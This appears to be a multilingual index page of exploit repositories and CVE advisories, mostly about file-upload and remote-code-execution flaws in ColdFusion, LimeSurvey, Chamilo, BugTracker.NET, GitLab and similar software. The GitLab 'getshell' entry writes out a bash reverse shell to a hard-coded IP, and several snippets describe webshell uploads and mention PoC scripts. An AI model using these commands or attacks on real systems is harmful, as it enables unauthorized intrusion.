CVE-2009-2265-fix

CVE-2009-2265 - Adobe ColdFusion RCE تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر رفع ملفات عشوائية في مكوّن FCKeditor المضمّن مع ColdFusion. تقبل نقطة نهاية رفع الملفات حقن بايت فارغ في معامل اسم الملف، مما يسمح برفع JSP webshell وتنفيذه مباشرةً بواسطة الخادم. الإصدارات المصابة الإصدار| الحالة...

CVE-2026-25860

CVE-2026-25860 OpenClinic GA 5.247.01 DICOM इमेज अपलोड हैंडलर के माध्यम से परावर्तित XSS यदि आप इस XSS को RCE के साथ जोड़ना चाहते हैं तो पढ़ सकते हैं: https://www.partywave.site/show/research/cve-2026-25860-openclinic-ga-xss-to-rce विवरण OpenClinic GA = v5.351.19 12/05/2026 में DICOM इमेज अपलोड...

CVE-2018-9206-jquery-file-upload

CVE-2018-9206 - Blueimp jQuery-File-Upload लैब CVE-2018-9206 के लिए असुरक्षित Docker वातावरण - Blueimp jQuery-File-Upload ' Execute it curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php" Output: CVE-2018-9206-PWNED या PoC स्क्रिप्ट चलाएँ: ./scripts/poc.sh सफाई docker compose...

-Limesurvey-RCE-CVE-2021-44967

🚀 LimeSurvey RCE CVE-2021-44967 - प्रमाणित दूरस्थ कोड निष्पादन इस रिपॉजिटरी में LimeSurvey में CVE-2021-44967 के लिए एक कार्यात्मक शोषण शामिल है, जो एक प्रमाणित दूरस्थ कोड निष्पादन भेद्यता है। 🎯 अनुकूलता परीक्षणित और कार्यशील पुष्टि: LimeSurvey 5.2.x LimeSurvey 6.x 🐛 भेद्यता अवलोकन यह भेद्यता...

ChamiloLMS-CVE-2023-4220

ChamiloLMS CVE-2023-4220 एक्सप्लॉइट CVE-2023-4220 के लिए पायथन एक्सप्लॉइट, जो Chamilo LMS = 1.11.24 को प्रभावित करने वाली एक अप्रमाणित मनमानी फ़ाइल अपलोड कमजोरी है। यह कमजोरी Chamilo के BigUpload घटक में स्थित है। कमजोर इंस्टॉलेशन पर, अपलोड हैंडलर बिना उचित सत्यापन के PHP फ़ाइल को अपलोड करने की...

EUVD-2026-94329

Telegram Desktop before 7.2.9 contains an IPC record-separator injection vulnerability in Core::Sandbox that allows remote attackers to inject OPEN: records via crafted tg:// links containing unescaped semicolons. Attackers can reach the interpret: scheme handler to upload local files, including...

Exploit for CVE-2026-81780

CVE-2026-81780 — Hash Form ≤ 1.4.2 Unauthenticated RCE !CVE...

CVE-2026-90847

Overview iuxset.cgi contains an authenticated remote code execution RCE vulnerability via file upload. It lives in the function that's invoked when iuxset.cgi is called with tmenu=camera and smenu=systemsetup, which maps to Camera Management → System Setup in the administrator web UI. Although it...

CVE-2026-92532

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

استغلال OpenSTAManager للتنفيذ عن بُعد RCE CVE-2026-38751 نظرة عامة يستغل هذا السكربت المكتوب بلغة Python ثغرة تنفيذ الأكواد عن بُعد Remote Code Execution في OpenSTAManager الإصدار 2.10، والمعروفة بـ CVE-2026-38751. يسمح هذا الاستغلال للمستخدمين المصادَق عليهم برفع وحدة خبيثة وتنفيذ أوامر تعسفية...

EUVD-2026-94284

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532

A vulnerability exists in the BugTracker.NET attachment functionality where an authenticated user with administrator privileges can modify application configurations to store files in a web-accessible directory. Due to insufficient file extension validation , an attacker can upload and execute a ...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell إصدار الاختبار بناء أمر لإنشاء استغلال الثغرة echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh استغلال djvumake لإنشاء صورة الاستغلال import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

wargame-tarpioka

BubbleTea CVE-2007-4559 ثغرة تصفح الدلائل باستخدام “.tar” للوصول إلى ../../flag المسار BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py تعليمات البناء الحالية فحص docker docker ps docker images docker build -t tarpioka docker run -...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS الإصدارات " image.jpg 4 أعد تسمية هذا الملف إلى image.php. 5 في صفحة النموذج، ارفع الملف image.php الذي تم إنشاؤه. 6 الآن، لتشغيل هذا الملف فقط قم بالوصول إلى https://yoursite.com/assets/image.php ملاحظة: استبدلhttps://yoursite.com بعنوان التثبيت الخاص بك للاختبار...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE يحتوي هذا المستودع على كود الاستغلال الخاص بي لثغرة RCE في Adobe ColdFusion 2021. وصف الاستغلال يُرسل الاستغلال طلب POST يحتوي على صدفة عكسية بلغة JSP إلى /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. إذا نجح ذلك، يتم رفع الصدفة إلى...

CVE-2024-22393

استغلال CVE-2024-22393 لاستغلال هذه الثغرة، قم برفع الصورة التي قدمتها في أي قسم لرفع الصور. lottapixel.jpg المراجع: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1 https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv...

CVE-2024-50510

CVE-2024-50510 AR For Woocommerce = 6.2 - رفع ملفات عشوائية بدون مصادقة الوصف إضافة AR for WooCommerce الخاصة بووردبريس معرضة لرفع ملفات عشوائية بسبب عدم التحقق من نوع الملف في جميع الإصدارات حتى 6.2 وما يشملها. وهذا يتيح للمهاجمين غير المصادق عليهم رفع ملفات عشوائية على خادم الموقع المتأثر، مما ...